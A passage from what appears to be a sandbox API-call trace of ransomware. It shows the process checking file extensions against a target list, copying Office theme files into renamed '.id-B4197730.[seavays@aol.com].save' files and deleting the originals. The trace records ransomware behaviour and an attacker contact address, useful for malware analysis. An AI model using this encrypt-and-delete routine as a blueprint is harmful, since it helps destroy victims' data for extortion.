1 [0176.906] lstrlenW (lpString=".xls") returned 4 [0176.906] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.906] lstrlenW (lpString=".xlsx") returned 5 [0176.906] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.906] lstrlenW (lpString=".ppt") returned 4 [0176.906] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0176.906] lstrlenW (lpString=".zip") returned 4 [0176.906] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.906] lstrlenW (lpString=".rar") returned 4 [0176.906] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.907] lstrlenW (lpString=".bz2") returned 4 [0176.907] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.907] lstrlenW (lpString=".7z") returned 3 [0176.907] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0176.907] lstrlenW (lpString=".dbf") returned 4 [0176.907] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0176.907] lstrlenW (lpString=".1cd") returned 4 [0176.907] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0176.907] lstrlenW (lpString=".jpg") returned 4 [0176.907] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.907] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0176.907] lstrlenW (lpString="Glossy.eftx") returned 11 [0176.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0176.908] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=335038) returned 1 [0176.909] CloseHandle (hObject=0x538) returned 1 [0176.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220 [0176.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0176.909] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.909] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0176.910] GetLastError () returned 0x0 [0176.910] ReadFile (in: hFile=0x538, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x51cbe, lpOverlapped=0x0) returned 1 [0176.930] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x51cc0, lpOverlapped=0x0) returned 1 [0177.297] ReadFile (in: hFile=0x538, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.297] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xea, lpOverlapped=0x0) returned 1 [0177.297] SetEndOfFile (hFile=0x51c) returned 1 [0177.422] CloseHandle (hObject=0x51c) returned 1 [0177.422] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.422] SetEndOfFile (hFile=0x538) returned 1 [0177.437] CloseHandle (hObject=0x538) returned 1 [0177.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1 [0177.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0177.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0177.713] lstrlenW (lpString=".doc") returned 4 [0177.713] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.713] lstrlenW (lpString=".docx") returned 5 [0177.713] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.713] lstrlenW (lpString=".pdf") returned 4 [0177.713] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.713] lstrlenW (lpString=".xls") returned 4 [0177.713] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.713] lstrlenW (lpString=".xlsx") returned 5 [0177.713] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.713] lstrlenW (lpString=".ppt") returned 4 [0177.713] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0177.713] lstrlenW (lpString=".zip") returned 4 [0177.713] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.713] lstrlenW (lpString=".rar") returned 4 [0177.713] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.714] lstrlenW (lpString=".bz2") returned 4 [0177.714] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.714] lstrlenW (lpString=".7z") returned 3 [0177.714] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0177.714] lstrlenW (lpString=".dbf") returned 4 [0177.714] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0177.714] lstrlenW (lpString=".1cd") returned 4 [0177.714] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0177.714] lstrlenW (lpString=".jpg") returned 4 [0177.714] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0177.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0177.714] lstrlenW (lpString=".doc") returned 4 [0177.714] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.714] lstrlenW (lpString=".docx") returned 5 [0177.714] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.714] lstrlenW (lpString=".pdf") returned 4 [0177.714] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.714] lstrlenW (lpString=".xls") returned 4 [0177.714] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.715] lstrlenW (lpString=".xlsx") returned 5 [0177.715] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.715] lstrlenW (lpString=".ppt") returned 4 [0177.715] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0177.715] lstrlenW (lpString=".zip") returned 4 [0177.715] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.715] lstrlenW (lpString=".rar") returned 4 [0177.715] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.715] lstrlenW (lpString=".bz2") returned 4 [0177.715] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.715] lstrlenW (lpString=".7z") returned 3 [0177.715] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0177.715] lstrlenW (lpString=".dbf") returned 4 [0177.715] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0177.715] lstrlenW (lpString=".1cd") returned 4 [0177.715] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0177.715] lstrlenW (lpString=".jpg") returned 4 [0177.716] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.716] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0177.716] lstrlenW (lpString="Smokey Glass.eftx") returned 17 [0177.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0177.717] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=186195) returned 1 [0177.717] CloseHandle (hObject=0x544) returned 1 [0177.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220 [0177.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0177.718] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.718] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.721] GetLastError () returned 0x0 [0177.721] ReadFile (in: hFile=0x544, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d753, lpOverlapped=0x0) returned 1 [0177.730] WriteFile (in: hFile=0x378, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d760, lpOverlapped=0x0) returned 1 [0177.735] ReadFile (in: hFile=0x544, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.735] WriteFile (in: hFile=0x378, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xf6, lpOverlapped=0x0) returned 1 [0177.735] SetEndOfFile (hFile=0x378) returned 1 [0177.735] CloseHandle (hObject=0x378) returned 1 [0177.736] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.736] SetEndOfFile (hFile=0x544) returned 1 [0177.742] CloseHandle (hObject=0x544) returned 1 [0177.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1 [0177.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0177.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0177.744] lstrlenW (lpString=".doc") returned 4 [0177.744] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.744] lstrlenW (lpString=".docx") returned 5 [0177.744] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.744] lstrlenW (lpString=".pdf") returned 4 [0177.744] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.744] lstrlenW (lpString=".xls") returned 4 [0177.744] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.744] lstrlenW (lpString=".xlsx") returned 5 [0177.744] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.744] lstrlenW (lpString=".ppt") returned 4 [0177.744] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0177.745] lstrlenW (lpString=".zip") returned 4 [0177.745] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.745] lstrlenW (lpString=".rar") returned 4 [0177.745] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.745] lstrlenW (lpString=".bz2") returned 4 [0177.745] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.745] lstrlenW (lpString=".7z") returned 3 [0177.745] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0177.745] lstrlenW (lpString=".dbf") returned 4 [0177.745] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0177.745] lstrlenW (lpString=".1cd") returned 4 [0177.745] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0177.745] lstrlenW (lpString=".jpg") returned 4 [0177.745] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0177.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0177.745] lstrlenW (lpString=".doc") returned 4 [0177.745] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.745] lstrlenW (lpString=".docx") returned 5 [0177.745] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.745] lstrlenW (lpString=".pdf") returned 4 [0177.745] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.745] lstrlenW (lpString=".xls") returned 4 [0177.745] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.745] lstrlenW (lpString=".xlsx") returned 5 [0177.746] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.746] lstrlenW (lpString=".ppt") returned 4 [0177.746] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0177.746] lstrlenW (lpString=".zip") returned 4 [0177.746] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.746] lstrlenW (lpString=".rar") returned 4 [0177.746] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.746] lstrlenW (lpString=".bz2") returned 4 [0177.746] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.746] lstrlenW (lpString=".7z") returned 3 [0177.746] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0177.746] lstrlenW (lpString=".dbf") returned 4 [0177.746] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0177.746] lstrlenW (lpString=".1cd") returned 4 [0177.746] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0177.746] lstrlenW (lpString=".jpg") returned 4 [0177.746] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.746] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0177.747] lstrlenW (lpString="Subtle Solids.eftx") returned 18 [0177.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0177.748] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=45435) returned 1 [0177.748] CloseHandle (hObject=0x544) returned 1 [0177.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220 [0177.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.968] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.969] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0177.970] GetLastError () returned 0x0 [0177.970] ReadFile (in: hFile=0x534, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xb17b, lpOverlapped=0x0) returned 1 [0177.975] WriteFile (in: hFile=0x434, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xb180, lpOverlapped=0x0) returned 1 [0177.977] ReadFile (in: hFile=0x534, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.977] WriteFile (in: hFile=0x434, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0177.978] SetEndOfFile (hFile=0x434) returned 1 [0177.978] CloseHandle (hObject=0x434) returned 1 [0177.978] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.978] SetEndOfFile (hFile=0x534) returned 1 [0177.989] CloseHandle (hObject=0x534) returned 1 [0177.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1 [0177.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0177.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0177.992] lstrlenW (lpString=".doc") returned 4 [0177.992] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.992] lstrlenW (lpString=".docx") returned 5 [0177.992] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.992] lstrlenW (lpString=".pdf") returned 4 [0177.992] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.992] lstrlenW (lpString=".xls") returned 4 [0177.992] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.992] lstrlenW (lpString=".xlsx") returned 5 [0177.992] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.992] lstrlenW (lpString=".ppt") returned 4 [0177.992] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0177.992] lstrlenW (lpString=".zip") returned 4 [0177.992] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.993] lstrlenW (lpString=".rar") returned 4 [0177.993] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.993] lstrlenW (lpString=".bz2") returned 4 [0177.993] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.993] lstrlenW (lpString=".7z") returned 3 [0177.993] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0177.993] lstrlenW (lpString=".dbf") returned 4 [0177.993] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0177.993] lstrlenW (lpString=".1cd") returned 4 [0177.993] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0177.993] lstrlenW (lpString=".jpg") returned 4 [0177.993] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0177.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0177.993] lstrlenW (lpString=".doc") returned 4 [0177.994] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.994] lstrlenW (lpString=".docx") returned 5 [0177.994] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.994] lstrlenW (lpString=".pdf") returned 4 [0177.994] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.994] lstrlenW (lpString=".xls") returned 4 [0177.994] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.994] lstrlenW (lpString=".xlsx") returned 5 [0177.994] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.994] lstrlenW (lpString=".ppt") returned 4 [0177.994] lstrcmpiW (lpString1=".ppt", 